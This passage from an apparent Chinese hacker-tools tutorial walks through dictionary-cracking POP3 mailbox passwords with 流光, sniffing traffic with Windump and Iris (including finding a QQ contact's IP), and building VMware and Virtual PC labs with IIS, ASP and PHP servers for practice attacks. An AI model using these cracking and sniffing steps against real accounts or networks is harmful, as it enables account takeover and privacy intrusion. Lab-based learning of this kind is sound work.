图　1-66　【高级扫描设置】对话框

步骤1：在流光主窗口中右击“POP3主机”选项，从快捷菜单中选择【编辑】→【添加】选项，即可打开【添加主机】对话框，在其中输入要添加邮箱的名称，如图1-67所示。

图　1-67　【添加主机】对话框

步骤2：单击【确定】按钮，即可完成邮箱的添加操作，如图1-68所示。右击添加的邮箱并选择【编辑】→【从列表添加】选项，即可打开【打开】对话框，在其中选择创建的用户字典，如图1-69所示。

图　1-68　邮箱添加显示

图　1-69　【打开】对话框

步骤3：单击【打开】按钮，即可将用户字典添加成功。单击“显示所有项目”选项，即可显示出所有将破解的用户列表，如图1-70所示。

图　1-70　破解用户列表

步骤4：如果是大量用户，则选择【探测】→【简单模式探测】菜单项，在其中搜索出弱口令用户。如果是少量用户或添加的单个指定用户，则使用密码字典文件进行破解，即右击“解码字典或方案”选项，从快捷菜单中选择【编辑】→【添加】菜单项，即可搜索出相应的弱口令。

4.命令行嗅探器Windump

Windump不仅是一个嗅探器，而且是一个网络报文分析程序。可获得与网络的报文相关的大量的重要底层信息，且能够诊断所有类型的网络问题。

下面举例介绍一下Windump工具的使用方法。

例1：在“命令提示符”窗口中运行"windump-D"命令，即可列出本机可供抓包的全部接口，如图1-71所示。

图　1-71　查看本机全部接口

小技巧　当本机存在多个网卡时，使用"windump-D"命令非常有用。例如，某用户机器装有3块网卡，若只抓第二块网卡上的包，可用"windump-D"列出机器上所有的网卡，再指定只抓第二块网卡的包，只需继续输入“Windump I 2（2指网卡序号）”即可。

例2：在“命令提示符”窗口的命令提示符下输入"windump-n host 192.168.0.12"命令，即可只抓关于192.168.0.12主机的包（不管包的方向），如图1-72所示。

图　1-72　抓取指定主机的包

例3：也可以通过在命令提示符下输入"windump-n host 192.168.0.12 and udp port 514"命令，则表示只抓关于主机192.168.0.12上udp（User Datagram Protocol，用户数据报协议）协议端口为514的包。

例4：在命令提示符下输入"windump-n net 10.45"命令，则表示只抓10.45网段的包（不管包的方向）。

例5：在命令提示符下输入"windump-n host！133.191.1.1"命令，则表示抓所有非133.191.1.1有关的包。

5.经典嗅探器Iris

Iris网络流量分析监测工具可以帮助系统管理员轻易地捕获和查看用户的使用情况，可以同时检测到进入和发出的信息流，则会自动进行存储和统计，偏重于查看和管理。

具体的操作步骤如下。

步骤1：初次启动Iris时会要求选择绑定网卡，在其中选择好需要绑定的适配器，如图1-73所示。单击【确定】按钮，即可进入"Iris"主窗口。单击工具栏上的按钮，即可捕捉所有流经的数据帧，如图1-74所示。

图　1-73　进行网卡绑定

图　1-74　Iris的主窗口

步骤2：Iris可以捕获所在网段里所有的数据包，单击【捕获】按钮图标，主窗口被分为3个窗格：左侧“封包解码器”窗格用树型结构显示着每个数据包的详细结构以及数据包每个部分所包含的数据；右下角“封包编辑器”窗格分左右两部分，左边显示数据包的十六进制信息，右边则显示对应的ASCII值；右上角“封包列表”窗格显示所有流经的数据包列表（新产生的数据包自动添加到列表里）。在选中特定的数据包之后，其详细信息将会呈树型显示在“封包解码器”窗格中。

步骤3：单击左侧"Iris"栏目中的【解码】按钮图标，即可对捕获的数据包进行分析，如图1-75所示，其主窗口也分为三个窗格。左边的“主机活动”窗格用于列出按照服务类型显示的树型结构的主机传输信息；选中某个服务之后，客户机和服务器之间的会话信息就会显示在“会议列表视图”窗格中，选中某个会话记录可在“会议数据视图”窗格里显示解码后的信息；在“会议列表视图”窗格中每个会话的属性有服务器、客户机、服务器端口、客户机端口、客户机物理地址，还有服务器到客户机的数据量、客户机到服务器的数据量以及总的数据量；右下角的“会议数据视图”窗格显示解码后的会话信息。

图　1-75　对捕获的数据包进行分析

步骤4：流经Sniffer的数据很多，但大部分都没什么实际用处，可以通过“过滤器”设置仅处理需要的信息以减少系统资源占用。单击Iris主窗口中的【过滤器】图标，即可弹出如图1-76所示的配置窗口。

图　1-76　Iris的配置窗口

步骤5：单击按钮，即可按图表形式展示与本机相连数据量最大的10台主机，如图1-77所示。

图　1-77　展示与本机相连的主机

在其中可以用多种方式显示（包括饼图、柱状图等），还可在底部状态栏上切换数据包类型（IP包、MAC包或IPX包）。据此可以查出可疑连接（显然数据通信量最大的几个连接主机都值得怀疑）。

该工具还可以显示QQ聊友的IP地址，在状态栏上切换到IP类型（因为它采用TCP/IP协议）后，给聊友发一个信息，图表中马上就可以显示对方的IP地址。

提示　硬件过滤是确保选中混杂模式，以确保可捕捉当前网段的数据包。

第5招　创建安全测试环境

安全测试环境是指专门用于测试和学习黑客工具操作方法的实验平台，即在已存在的系统中，利用虚拟机创建一个内在的系统，该系统可以与外界独立，但已经与存在的系统建立了网络关系，从而方便使用某些黑客工具进行模拟攻击。即使黑客工具对虚拟机造成了破坏，也可以很快恢复，并不会影响自己已有的计算机系统。

1.用VMware创建虚拟系统

目前，虚拟化技术已经非常成熟，伴随着产品如雨后春笋般地出现：VMware、Virtual PC、Xen、Parallels、Virtuozzo等，但最流行、最常用的就当属VMware了。VMware Workstation是VMware公司的专业虚拟机软件，可以虚拟现有任何操作系统，而且使用简单、容易上手。

安装VMware Workstation 6.5.2的具体步骤如下。

步骤1：下载并双击VMware Workstation 6.5.2安装软件，将弹出【VMware产品安装向导】消息框，并进入【欢迎使用VMware Workstation的安装程序】界面，如图1-78所示。

图　1-78　【欢迎使用VMware Workstation的安装程序】界面

步骤2：在【欢迎使用VMware Workstation的安装程序】界面中，单击【Next】按钮，即可打开【安装类型】对话框，在其中选择VMware Workstation安装模式，其安装类型包括典型安装和自定义安装两种。这里选择安装类型为“典型（Typical）”安装模式，如果选择“自定义（Custom）”安装模式，则可以进一步选择其安装的组件，如图1-79所示。

图　1-79　【安装类型】对话框

步骤3：单击【Next】按钮，即可打开【安装路径】对话框，在其中指定VMware Workstation的具体安装位置，如图1-80所示。在【安装路径】对话框中默认安装到C磁盘，如果想要安装到其他磁盘，单击【Change】按钮，即可打开【更改安装路径】对话框，在其中可以更改软件的安装位置，如图1-81所示。

图　1-80　【安装路径】对话框

图　1-81　【更改安装路径】对话框

步骤4：单击【OK】按钮返回【安装路径】对话框，继续单击【Next】按钮，即可打开【创建程序快捷方式】对话框，在其中设置是否在桌面、开始程序菜单、快速启动栏中创建该程序的快捷方式，如图1-82所示。

图　1-82　【创建程序快捷方式】对话框

步骤5：在【创建程序快捷方式】对话框中勾选想要创建的快捷方式，单击【Next】按钮，即可打开【准备安装】对话框，提示用户已经设置完毕，准备开始安装，如图1-83所示。如果单击【Back】按钮，则可以返回重新设置安装选项。

图　1-83　【准备安装】对话框

步骤6：在【准备安装】对话框中单击【Install】按钮，即可打开【开始安装】对话框，系统开始安装VMware Workstation软件并显示安装进度条，如图1-84所示。当安装程序的工作进度完成后，单击【Next】按钮，即可打开【注册信息】对话框，在其中输入个人信息及产品序列号，如图1-85所示。若单击【Skip】按钮，则可以跳过此过程。

图　1-84　【开始安装】对话框

图　1-85　【注册信息】对话框

步骤7：单击【Enter】按钮，在如图1-86所示对话框中单击【Finish】按钮，即可结束VMware Workstation 6.5的安装操作。

图　1-86　【完成安装】对话框

步骤8：重新启动计算机后打开“网上邻居”中的网络连接窗口，则看到VMware Workstation添加的两个网络连接，如图1-87所示。在【设备管理器】窗口中展开“网络适配器”结点，可以看到其中添加的两块虚拟网卡，如图1-88所示。

图　1-87　VMware Workstation安装的两个连接

图　1-88　安装的两个虚拟网卡

在安装虚拟操作系统前，一定要先配置好VMware，下面介绍一下VMware的配置过程。

步骤1：双击桌面上的"VMware Workstation"图标，则系统显示VMware Workstation的使用协议，如图1-89所示。

图　1-89　VMware Workstation的使用协议

步骤2：选择“Yes, I accept the terms in the license agreement（我同意批准协议中的条款）”单选项，单击【OK】按钮，即可进入VMware Workstation操作界面，如图1-90所示。

图　1-90　"VMware Workstation"操作界面

步骤3：在VMware Workstation操作界面中单击“New Virtual Machine（新建虚拟机）”超链接，即可弹出【Welcome to the new Virtual Machine Wizard（创建虚拟机的向导）】对话框，在其中根据需要创建虚拟机类型，这里选取"Typical（recommended）"单选项，使用典型模式创建一个新的虚拟机，如图1-91所示。

图　1-91　【Welcome to the new Virtual Machine Wizard】对话框

步骤4：单击【Next】按钮，即可打开【Guest Operating System Installation】对话框，在其中可以选择使用光驱安装、使用系统ISO映像安装和以后安装等选项。若选择通过光驱安装，则需将系统光盘放入光驱，如图1-92所示。

图　1-92　【Guest Operating System Installation】对话框

步骤5：单击【Next】按钮，即可打开【Easy Install Information】对话框，在其中可以输入所安装产品的序列号、用户名称、登录密码等信息，以便安装系统时自动加载，实现安装系统的无人值守功能，如图1-93所示。

图　1-93　【Easy Install Information】对话框

步骤6：单击【Next】按钮，即可打开【Name the Virtual Machine】对话框，在“Virtual machine name（命名虚拟机）”文本框和"Location"文本框中，分别输入该虚拟机的名字（任意的）以及该虚拟机文件将要存放的位置，如图1-94所示。

图　1-94　【Name the Virtual Machine】对话框

步骤7：单击【Next】按钮，即可打开【Specify Disk Capacity】对话框，在"Maximum disk size"中设置主机磁盘空间的大小，如图1-95所示。

图　1-95　【Specify Disk Capacity】对话框

步骤8：单击【Next】按钮，即可打开【Ready Create Virtual Machine】对话框，在其中可查看新创建虚拟机的各个选项设置，如图1-96所示。

图　1-96　【Ready Create Virtual Machine】对话框

步骤9：单击【Finish】按钮，即可完成虚拟机的创建。进入虚拟机存放的路径，将会看到已生成名为"Windows XP Professional.vmx"的虚拟机文件，如图1-97所示。

图　1-97　查看虚拟机存放的路径

将其文件夹复制到其他计算机上，可再次用VMware导入虚拟机文件，打开建立的虚拟机系统。当成功创建了虚拟机之后，就可以打造攻击目标系统了。

安装虚拟操作系统的具体操作步骤如下。

步骤1：双击桌面上的"VMware"图标进入"VMware"主窗口，选择【File】→【Open】菜单项，即可弹出【打开】对话框，在其中指定刚才安装虚拟机的文件路径。单击【打开】按钮，即可打开新创建的虚拟机。

步骤2：返回VMware主界面，单击窗口左侧的“常用”栏，在导入的虚拟机右侧窗口中，即可看到该主机硬件和软件系统信息，如图1-98所示。

图　1-98　查看该虚拟机的相关信息

步骤3：若需要对已经创建的虚拟机重新进行设置，则单击"Edit Virtual Machine Settings"链接，即可打开【Virtual Machine Settings】对话框，在其中根据硬件需求进行相应修改，如图1-99所示。

图　1-99　【Virtual Machine Settings】对话框

步骤4：在【Virtual Machine Settings】对话框中选择"CD-ROM"选项，在右侧"Connection"栏目中选择"Use Physical drive"下拉列表里的"Auto detect"选项。或指定当前物理光驱盘符，单击【OK】按钮，即可在虚拟机中使用当前的光驱，如图1-100所示。

图　1-100　使用物理驱动器

步骤5：如果有光盘ISO映像文件，也可勾选"Use ISO image file"复选项，单击【Browse】按钮浏览指定ISO映像文件，如图1-101所示。即将ISO映像文件作为一张光盘，在虚拟机系统中打开。

图　1-101　使用ISO映像文件

步骤6：单击【OK】按钮返回到"VMware"主界面中，在工具栏中有三个按钮，红色表示停止虚拟机运行，中间按钮表示暂停虚拟机运行，单击右边第三个绿色三角标志按钮，即可启动虚拟机，如图1-102所示。

图　1-102　【虚拟机启动】画面

步骤7：将鼠标在虚拟机窗口中单击，并按【F2】快捷键进入虚拟机BIOS界面。选择"Boot"标签，再选取"CD-ROM Drive"选项，按键盘上的“+”或“-”键，将其调整到最上方，如图1-103所示。

图　1-103　【虚拟机BIOS】设置界面

步骤8：按"F10"快捷键，将BIOS设置保存并重启虚拟机，在光驱中放入Windows XP系统的安装光盘，使用虚拟机从光驱引导系统，如图1-104所示。

图　1-104　【光驱引导系统】界面

步骤9：按实际安装操作系统的方式进行，即可完成虚拟机系统的安装。按"Ctrl+G"组合键将鼠标指针定位在虚拟机窗口中，按"Ctrl+Alt"组合键将鼠标指针从虚拟机释放出来。

2.虚拟机工具安装

VMware Tools是VMware提供的一套贴心工具，用于提高虚拟显卡、虚拟硬盘的性能，改善鼠标的性能，以及同步虚拟机与主机时钟的驱动程序。安装VMware Tools不仅能够提升虚拟机的性能，还可以使鼠标指针在虚拟机内外自由移动，再也不需要使用切换键了。

安装VMware Tools的具体操作方法如下。

步骤1：先启动已经安装好操作系统的虚拟机，单击虚拟机屏幕下方的【Install Tools】按钮，或选择【VM】→【Install VMware Tools】菜单项，即可启动VMware Tools安装向导，如图1-105所示。

图　1-105　VMware Tools安装向导

步骤2：单击【下一步】按钮，在显示的对话框中选择安装方式，如图1-106所示。单击【下一步】按钮，即可打开【已准备好安装程序】对话框，如图1-107所示。

图　1-106　选择安装类型

图　1-107　【已准备好安装程序】对话框

步骤3：单击【安装】按钮，系统开始安装并显示安装进度，如图1-108所示。安装完成后，则显示如图1-109所示对话框。单击【完成】按钮，重启系统后即可完成安装操作。

图　1-108　开始安装

图　1-109　【安装向导完成】对话框

3.在虚拟机上架设IIS服务器

IIS（Internet Information Server，互联网信息服务）作为一种Web（网页）服务组件，包括Web服务器、FTP服务器、NNTP（Network News Transport Protocol，网络新闻传输协议）服务器和SMTP服务器，分别用于网页浏览、文件传输、新闻服务和邮件发送等方面，使得在网络（包括互联网和局域网）上发布信息十分容易。

（1）在虚拟机中安装IIS服务器

在虚拟机的操作系统中也可以安装IIS服务器，这里以在VMware中建立的Windows XP操作系统为例，介绍IIS服务器安装和配置过程。具体的操作步骤如下。

步骤1：在Windows XP系统的【控制面板】窗口中双击“添加/删除程序”选项，即可打开【添加或删除程序】窗口，如图1-110所示。

图　1-110　【添加或删除程序】窗口

步骤2：单击【添加/删除Windows组件】按钮，即可打开【Windows组件向导】对话框，在其中勾选“在Internet信息服务（IIS）”复选项以设置IIS信息，如图1-111所示。

图　1-111　【Windows组件向导】对话框

步骤3：单击【详细信息】按钮，即可弹出【Internet信息服务（IIS）】对话框，在其中取消默认的"SMTP Service"服务和"FTP"服务，如图1-112所示。

图　1-112　【Internet信息服务（IIS）】对话框

步骤4：在设置完毕之后，单击【确定】按钮，即可返回到【Windows组件向导】对话框中。此时在光驱中插入Windows系统安装光盘，单击【下一步】按钮，即可开始IIS服务器的安装，其安装进度如图1-113所示。

图　1-113　【正在配置组件】对话框

步骤5：在IIS服务器安装完成之后，将会在【Windows组件向导】对话框中出现相应的提示信息，如图1-114所示。

图　1-114　【完成“Windows组件向导”】对话框

（2）在虚拟机中配置IIS服务器

在IIS服务器附加完毕之后，往往还需要进行配置IIS服务器的操作。为了方便用户，在此介绍在虚拟机的Windows XP操作系统下配置IIS服务器的方法。具体的操作步骤如下。

步骤1：在Windows XP系统的【控制面板】窗口中双击【管理工具】图标，即可打开【管理工具】窗口，如图1-115所示。

图　1-115　【管理工具】窗口

步骤2：双击【Internet信息服务】图标，即可打开【Internet信息服务】窗口，单击“本地计算机”栏目前的“+”号，和其下属结点“网站”前的“+”号，如图1-116所示。

图　1-116　【Internet信息服务】窗口

步骤3：在“默认网站”结点上右击，在快捷菜单中选择【属性】选项，即可打开【默认网站属性】对话框，如图1-117所示。选择【网站】选项卡“IP地址”下拉列表框中本机的IP地址（如：本机的IP地址为127.0.0.1），单击【确定】按钮，即可完成对网站IP地址设置。

图　1-117　【默认网站属性】对话框

步骤4：一般在设置完IP地址后，需要在IE浏览器地址栏中输入本机的IP地址，即可打开默认网页，但有时会出现如图1-118所示的对话框（这是由于设置了错误的权限）。

图　1-118　IE浏览器地址栏中输入本机的IP地址

步骤5：首先需要设置允许匿名访问，在【默认网站属性】对话框中选择“目录安全性”选项卡，如图1-119所示。

图　1-119　“目录安全性”选项卡

步骤6：单击“匿名访问和身份验证控制”栏目右侧的【编辑】按钮，即可打开【身份验证方法】对话框，在其中勾选“匿名访问”复选框和“允许IIS控制密码”复选框，并填写匿名访问使用的“用户名”和“密码”，如图1-120所示。连续单击【确定】按钮，即可成功设置权限。在【身份验证方法】对话框中单击“用户名”右侧的【浏览】按钮，即可打开【选择用户】对话框，在其中可以选择用户，如图1-121所示。

图　1-120　【身份验证方法】对话框

图　1-121　【选择用户】对话框

4.在虚拟机中安装网站

建好了IIS服务器，安装了动态域名解析客户端，用户的网站已经有了栖身之所。现在就可以安装网站了。可自己编辑网站程序，也可从网上下载完整的源程序进行安装。

（1）解压安装

解压安装法是目前安装网站最简单的方法，很多网站都是用这种方法安装的。

步骤1：在网上下载网站源程序并将压缩包解压之后，即可打开【Internet信息服务】窗口。右击“默认网站”图标，在快捷菜单中选择“属性”选项，即可打开【默认网站属性】对话框，如图1-122所示。

图　1-122　【默认网站属性】对话框

步骤2：在“主目录”选项卡的“本地路径”文本框中输入下载网站源文件所在位置，或单击【浏览】按钮找到网站源文件。切换到“文档”选项卡，在“默认文档”栏目中可以看到各种默认的文档，如图1-123所示。

图　1-123　网站的默认文档

步骤3：单击【添加】按钮，即可打开【添加默认文档】对话框，在“默认文档名”文本框中输入新添加的文档名index.asp，如图1-124所示。

图　1-124　【添加默认文档】对话框

步骤4：单击【确定】按钮，即可关闭【添加默认文档】对话框，此时在“默认文档”列表中可看到新添加的index.asp，如图1-125所示。

图　1-125　添加的默认文档

步骤5：在【Internet信息服务】窗口中将安装后默认存在的几个虚拟目录删掉（如"IISHelp"和"Printers"）之后，重新打开【Internet信息服务】窗口，在本地计算机的浏览器地址中输入虚拟机IP地址，就可以打开刚安装的网站了。

（2）程序安装法

在安装普通软件时只需要单击安装程序就可以了，某些网站程序安装也是这样的，在这里以最常见的动网论坛为例介绍其安装过程。

步骤1：下载并解压动网论坛程序，在【Internet信息服务】窗口中把虚拟目录设置为动网论坛所在的文件夹，运行安装程序dvbbs.exe，即可打开【动网先锋软件（Aspsky.Net）安装】窗口，如图1-126所示。

图　1-126　【动网先锋软件（Aspsky.Net）安装】窗口

步骤2：在选择安装目标文件夹之后，单击【安装】按钮，即可完成对动网论坛的安装，如图1-127所示。

图　1-127　安装完毕后的动网论坛文件

第6招　Virtual PC安全测试环境

除VMware外，还有一个微软公司开发的非常有名的虚拟机软件Virtual PC，它与VMware虚拟机齐名。它的特点是界面简洁，但功能方面不如VMware虚拟机。Virtual PC与一般软件的安装方法相同，操作也十分简单。

1.Virtual PC安装流程

在Virtual PC程序中没有创建虚拟机前启动Virtual PC程序，系统将自动弹出创建虚拟机的安装向导，以方便用户创建虚拟机。在Virtual PC程序中创建虚拟机的具体步骤如下。

步骤1：在Virtual PC界面中单击【新建】按钮，即可打开【新建虚拟机向导】对话框，如图1-128所示。单击【下一步】按钮，即可打开【选项】对话框，在其中可以选取“新建一台虚拟机”单选项，如图1-129所示。

图　1-128　【新建虚拟机向导】对话框

图　1-129　【选项】对话框

步骤2：单击【下一步】按钮，即可打开【虚拟机的名称和位置】对话框，在其中可以指定虚拟机文件保存的名称和位置，如图1-130所示。

图　1-130　【虚拟机的名称和位置】对话框

步骤3：单击【下一步】按钮，即可打开【操作系统】对话框，在其中可以选择当前虚拟机所安装的系统版本，如图1-131所示。单击【下一步】按钮，即可打开【内存】对话框，在其中可以设置虚拟机运行时使用内存的大小，如图1-132所示。

图　1-131　【操作系统】对话框

图　1-132　【内存】对话框

步骤4：单击【下一步】按钮，即可打开【虚拟硬盘选项】对话框，在其中根据需要选择一种所需要使用的硬盘方式，这里选取“新建虚拟硬盘”单选项，如图1-133所示。

图　1-133　【虚拟硬盘选项】对话框

步骤5：单击【下一步】按钮，即可打开【虚拟硬盘位置】对话框，在其中可以指定虚拟硬盘保存的名称与路径，并可以指定虚拟硬盘的大小，如图1-134所示。

图　1-134　【虚拟硬盘位置】对话框

步骤6：单击【下一步】按钮，即可打开【完成新建虚拟机向导】对话框。再单击【完成】按钮，即可结束虚拟机的创建操作，如图1-135所示。在创建好虚拟机之后，返回Virtual PC操作界面，在其中选择已经创建的虚拟机，如图1-136所示。

图　1-135　【完成新建虚拟机向导】对话框

图　1-136　选择创建的虚拟机

步骤7：最后单击【设置】按钮，即可打开【设置新建虚拟机】对话框，在其中可以设置其选项，如创建新硬盘、调整内存大小等，如图1-137所示。

图　1-137　【设置新建虚拟机】对话框

在创建好虚拟机后就相当于组装了一台电脑，此时虚拟机还是裸机，需要安装上操作系统后才能使用。下面简单介绍一下在虚拟机中安装操作系统的方法。

步骤1：通过【开始】菜单运行Virtual PC程序，进入其操作界面，选择已经创建的虚拟机，单击【启动】按钮，即可启动所选虚拟机，如图1-138所示。

图　1-138　启动虚拟机

步骤2：在虚拟机启动过程中按【Del】键，即可进入其CMOS界面，在其中设置其有关选项，如图1-139所示。

图　1-139　CMOS界面

步骤3：按【F10】按钮，将CMOS设置保存并重新启动虚拟机，在光驱中放入Windows XP系统的安装光盘，使用虚拟机从光驱引导系统，如图1-140所示。按实际安装操作系统的方式进行，即可完成虚拟机操作系统的安装。

图　1-140　虚拟机系统安装引导界面

小技巧　在Virtual PC虚拟机窗口中单击后，鼠标指针就会被锁定在虚拟机窗口中，如果要在主机窗口中使用鼠标，可按【Alt】键将其释放。如果按【Alt+Enter】组合键，则可使虚拟机在全屏或窗口显示模式之间进行切换。

2.Virtual PC网络设置

为了能够更好地完成对虚拟机的操作，还需安装Virtual PC虚拟机的附加模块，以实现在虚拟机中调整屏幕的刷新率、使用网络功能和使用鼠标指针整合功能（使鼠标指针在主机与虚拟机之间随意移动，而不会将鼠标指针局限于虚拟机或主机区域内），还可共享主机硬盘上的文件夹，以及在虚拟机中通过共享文件夹来使用主机物理硬盘上的数据。

安装附加模块的具体操作步骤如下。

步骤1：在虚拟机界面中选择【操作】→【安装或升级附加模块】菜单项，如图1-141所示。同时系统将显示如图1-142所示的提示信息。

图　1-141　新建虚拟机主界面

图　1-142　【新建虚拟机】提示框

步骤2：单击【继续】按钮，虚拟机将启动附加模块的安装向导，如图1-143所示。

图　1-143　欢迎安装界面

步骤3：单击【下一步】按钮，虚拟机系统开始安装附加模块并显示安装进度，如图1-144所示。在安装完毕后，即可弹出【安装程序已完成】对话框，如图1-145所示。

图　1-144　正在安装界面

图　1-145　【安装程序已完成】对话框

步骤4：单击【完成】按钮，即可结束虚拟机附加模块的安装操作，同时弹出【虚拟机添加件】提示框，提示“虚拟机附加模块只有在操作系统安装完毕后才能安装。在虚拟机中安装好附加模块后需要重新启动虚拟机，附加模块的功能才能生效”信息，如图1-146所示。

图　1-146　【虚拟机添加件】提示框

在安装好附加模块后，用户可以利用共享功能，将主机上的文件或文件夹与虚拟机共享，通过虚拟机能够使用主机上的数据。具体的设置方法如下。

步骤1：在启动虚拟机后，单击虚拟机窗口上方的【编辑】→【设置】菜单项，即可打开当前虚拟机的设置对话框，在其中选取“共享文件夹”选项，如图1-147所示。

图　1-147　【设置新建虚拟机】对话框

步骤2：单击【共享文件夹】按钮，即可弹出如图1-148所示的对话框。在其中选择需要共享的文件夹，设置驱动器名称，若需要永久性共享此文件夹，则可勾选“始终共享”复选框，否则该共享在虚拟机重启后将失效。

图　1-148　【浏览文件夹】对话框

步骤3：单击【确定】按钮，即可将所选文件夹添加共享文件夹列表中，如图1-149所示。在共享文件夹设置完毕之后，打开“我的电脑”窗口，即可看到“共享文件夹”的图标，如图1-150所示。

图　1-149　添加共享文件夹

图　1-150　【我的电脑】窗口

第7招　虚拟机网站平台

使用黑客工具不仅可攻击个人计算机还可攻击网站，当前动态网站服务器大多使用ASP（Active Server Page，动态服务器页面）、PHP（Hypertext PreProcessor，超文本预处理）两种网页语言。下面简单介绍一下这两种网络平台在虚拟机中搭建与配置方法，以加深对系统漏洞和程序漏洞的认识。

1.虚拟机ASP网站平台

ASP是一种Web服务器端的开发环境，可以产生和执行动态的、交互的和高性能的Web服务应用程序。使用ASP架设Web动态服务网络平台离不开微软公司开发的IIS程序，它在Windows 2000/XP/2003系统中作为一个系统组件存在。

（1）在虚拟机中配置IIS服务器

在IIS服务器附加完毕之后，往往还需要进行配置IIS服务器的操作。为方便用户，在此介绍在虚拟机的Windows XP操作系统下配置IIS服务器的方法。具体的操作步骤如下。

步骤1：在Windows系统的【控制面板】窗口中双击【管理工具】图标，即可打开【管理工具】窗口，如图1-151所示。

图　1-151　【管理工具】窗口

步骤2：双击【Internet信息服务】图标，即可打开【Internet信息服务】窗口，单击“本地计算机”栏目前的“+”号，和其下属结点“网站”前的“+”号，如图1-152所示。

图　1-152　【Internet信息服务】窗口

步骤3：在“默认网站”结点上右击，在快捷菜单中选择【属性】选项，即可打开【默认网站属性】对话框，如图1-153所示。

图　1-153　【默认网站属性】对话框

步骤4：选择【网站】选项卡“IP地址”下拉列表框中本机IP地址（如选择主机IP地址为192.168.0.18）后，单击【确定】按钮，即可完成对网站IP地址的设置。

（2）设置默认网站的访问权限

一般情况下，设置网站的IP地址后在IE浏览器中输入设置的IP地址，就可以打开默认网页，但有时可能会在打开网页时显示一个提示信息框，请用户输入用户名和登录密码，这一般是由于网站登录权限设置不对而引起的。具体的操作步骤如下。

步骤1：在【默认网站属性】对话框中选取“目录安全性”标签，则显示如图1-154所示的对话框。单击“匿名访问和身份证控制”区域中的【编辑】按钮，即可打开【身份验证方法】对话框，如图1-155所示。

图　1-154　“目录安全性”标签页

图　1-155　【身份验证方法】对话框

步骤2：在确保“匿名访问”复选框处于选取状态，并在“用户名”文本框中输入匿名访问使用的用户名和密码即可。此外，还需要选取“允许IIS控制密码”复选框。单击【确定】按钮，即可完成网站访问权限的设置。

2.快速架设ASP（Active Server Page）服务器和PHP（Professional Hypertext Preprocessor）服务器

现在，Internet网络上有一些体积较小，操作方便的工具，可以帮助用户快速架设ASP或PHP服务器，从而节省不少时间。

（1）快速架设ASP服务器

除使用IIS架设ASP网站外，还可使用其他软件，如小旋风ASP Web服务器，它体积小巧，但操作非常简单。使用小旋风ASP Web服务器架设ASP服务器的具体操作步骤如下。

步骤1：双击“小旋风ASP Web服务器”安装程序图标，即可进入【欢迎安装小旋风ASP Web服务器向导】对话框，如图1-156所示。

图　1-156　【欢迎安装小旋风ASP Web服务器向导】对话框

步骤2：单击【下一步】按钮，即可打开【阅读软件说明】对话框，在其中可以详细阅读软件的说明书，如图1-157所示。

图　1-157　【阅读软件说明】对话框

步骤3：在认真阅读完毕后，单击【下一步】按钮，即可打开【选择程序文件夹】对话框，在其中可以设置程序文件夹的名称，如图1-158所示。单击【下一步】按钮，即可打开【安装路径选取】对话框，在其中可以选择程序安装的目标位置，如图1-159所示。

图　1-158　【选择程序文件夹】对话框

图　1-159　【安装路径选取】对话框

步骤4：单击【下一步】按钮，程序开始安装并显示安装的进度。当程序安装完成后，即可弹出【安装完成】对话框，在其中勾选“现在运行Asp Web Server 2005”复选框。如图1-160所示。单击【完成】按钮，即可弹出【错误对话框】消息框，提示“服务器启动失败”信息，如图1-161所示。

图　1-160　【安装完成】对话框

图　1-161　【错误对话框】消息框

步骤5：单击【确定】按钮并重新启动计算机，再双击桌面上的“启动Asp Web Server 2005”应用程序图标，即可成功启动服务器并在任务栏中看到相应的启动图标，如图1-162所示。

图　1-162　查看任务栏中启动成功后的图标

（2）快速架设PHP服务器

下面介绍一种可以快速架设PHP服务器的方法。VertrigoServ是一款可以在Windows系统上安装Apache 2.x.x、PHP 5.x.x、MySQL 5.x.x及PhpMyAdmin的all-in-one安装包，可以让用户在电脑变成支持PHP的Web服务器。

具体的操作方法如下。

步骤1：双击从网络下载的压缩包文件，指定其解压的路径，再双击其安装文件，启动其安装程序，如图1-163所示。选择"Chinese（Simplified）"项，单击【OK】按钮，需要以简体中文语言进行安装，如图1-164所示。

图　1-163　选择安装语言

图　1-164　欢迎安装界面

步骤2：单击【下一步】按钮，在如图1-165所示的对话框中阅读该软件许可协议。单击【我接受】按钮，在其中可以选择安装的组件，如图1-166所示。

图　1-165　【许可证协议】对话框

图　1-166　【选择组件】对话框

步骤3：单击【下一步】按钮，指定VertrigoServ的安装路径，如图1-167所示。单击【下一步】按钮，在其中可以设置“开始”菜单的快捷方式名称，如图1-168所示。

图　1-167　【选择安装位置】对话框

图　1-168　【选择“开始菜单”文件夹】对话框

步骤4：单击【安装】按钮，即可安装VertrigoServ软件并显示其安装进度，如图1-169所示。在安装完毕后，在如图1-170所示的对话框中单击【完成】按钮，即可结束操作。

图　1-169　【正在安装】对话框

图　1-170　【完成安装】对话框

步骤5：运行VertrigoServ软件后，PHP服务器也就搭建完成了。此时VertrigoServ软件在Windows通知栏中显示标。单击【Hide this window and start server】按钮，即可启动PHP Web服务，如图1-171所示。此时在IE浏览器地址栏中输入http://localhost，回车后即可看到自己的PHP网页，如图1-172所示。若想退出服务器，只需单击图标，在快捷菜单中选择"Shutdown and exit"选项，即可关闭VertrigoServ软件。

图　1-171　选项设置消息框

图　1-172　浏览自己生成的PHP网页

3.ASP+PHP+CGI网站平台

这里介绍一款可快速打造ASP+PHP+CGI综合网站服务的工具Abyss Web Server，它具有Linux和Windows两个版本，并还支持Windows最新的Vista系统。

使用Abyss Web Server架设网络平台的具体操作方法如下。

步骤1：双击Abyss Web Server的安装程序，启动其安装向导，如图1-173所示。单击【I Agree】按钮，则显示如图1-174所示的对话框，在其中选择需要支持的网站类型。单击【Next】按钮，用户可指定Abyss Web Server的安装路径，如图1-175所示。

图　1-173　“安装许可协议”界面

图　1-174　选择需要支持的网站类型

图　1-175　选择安装的路径

步骤2：单击【Install】按钮，即可开始安装并显示其安装进度，如图1-176所示。安装完毕后，显示如图1-177所示的对话框，在其中可选择Abyss Web Server的启动方式，这里选择用户登录自动启动方式。

图　1-176　显示安装的过程

图　1-177　选择Abyss Web Server启动方式

步骤3：单击【OK】按钮，系统显示安装完毕，是否立即启动Abyss Web Server的提示信息，单击【是】按钮，即可启动Abyss Web Server并在通知栏显示该程序图标，如图1-178所示。

图　1-178　Abyss Web Server安装提示信息

步骤4：双击通知栏中的图标，则弹出是否增加设置的提示信息，如图1-179所示。单击【确定】按钮，即可运行IE浏览器并打开http://127.0.0.1:9999/console/language页面，如图1-180所示。

图　1-179　是否增加设置的提示信息

图　1-180　“选择Language”窗口

